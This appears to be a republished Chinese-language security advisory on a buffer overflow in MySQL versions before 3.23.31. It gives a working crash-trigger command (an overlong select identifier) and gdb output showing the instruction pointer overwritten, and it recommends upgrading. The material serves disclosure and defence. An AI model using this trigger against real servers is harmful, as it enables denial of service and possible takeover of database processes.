设为首页 - 加入收藏 ASP站长网(Aspzz.Cn)- 科技、建站、经验、云计算、5G、大数据,站长网!
热搜: 数据 创业者 手机
当前位置: 首页 > 站长学院 > MySql教程 > 正文

MySQL3.23.31之前版本的安全漏洞

发布时间:2022-06-30 12:49 所属栏目:115 来源:互联网
导读:所有小于 3.23.31 版本的 MySQL 都存在一个缓冲溢出漏洞导致MySQL 崩溃。使攻击者获得 mysqld 权限,而可以操纵所有数据库。攻击的前提是必须有一个合法的登录名和口令。 下面为最初发表于 MySQL 邮件列表的信件摘要。 ====================================
  所有小于 3.23.31 版本的 MySQL 都存在一个缓冲溢出漏洞导致MySQL 崩溃。使攻击者获得 mysqld 权限,而可以操纵所有数据库。攻击的前提是必须有一个合法的登录名和口令。
 
  下面为最初发表于 MySQL 邮件列表的信件摘要。
  ==================================================
  漏洞是由Jo?o Gouveia 于1月12日发现的:
 
  步骤:
 
  在第一个终端上启动 mysql:
 
  spike:/var/mysql # /sbin/init.d/mysql start
 
  在另外一个终端上输入:
 
  jroberto@spike:~ > mysql -p -e ’select a.’`perl -e’printf("A"x130)’`’.b’
 
  Enter password:
 
  (没有反应?按^C退出)
 
  在第一台终端上会显示:
 
  spike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation fault  
  nohup  
  $ledir/mysqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin  
  g "$@" >>$err_log 2>&1>  
  Number of processes running now: 0  
  mysqld restarted on Fri Jan 12 07:10:54 WET 2001  
  mysqld daemon ended
  使用 gdb 显示结果如下:
 
  (gdb) run  
  Starting program: /usr/sbin/mysqld  
  [New Thread 16897 (manager thread)]  
  [New Thread 16891 (initial thread)]  
  [New Thread 16898]  
  /usr/sbin/mysqld: ready for connections  
  [New Thread 16916]  
  [Switching to Thread 16916]  
  
  Program received signal SIGSEGV, Segmentation fault.  
  0x41414141 in ?? ()  
  (gdb) info all-registers  
  eax 0x1 1  
  ecx 0x68 104  
  edx 0x8166947 135686471  
  ebx 0x41414141 1094795585  
  esp 0xbf5ff408 0xbf5ff408  
  ebp 0x41414141 0x41414141  
  esi 0x41414141 1094795585  
  edi 0x0 0  
  eip 0x41414141 0x41414141  
  eflags 0x10246 66118  
  cs 0x23 35  
  ss 0x2b 43  
  ds 0x2b 43  
  es 0x2b 43  
  fs 0x0 0  
  gs 0x0 0
  其中的 eip 指示就是缓冲溢出了。
 
  解决办法就是升级到 3.23.31。所以,各位如果还没有把数据库升级到最新版本,请赶快行动。
 
 

(编辑:ASP站长网)

    网友评论
    推荐文章
      热点阅读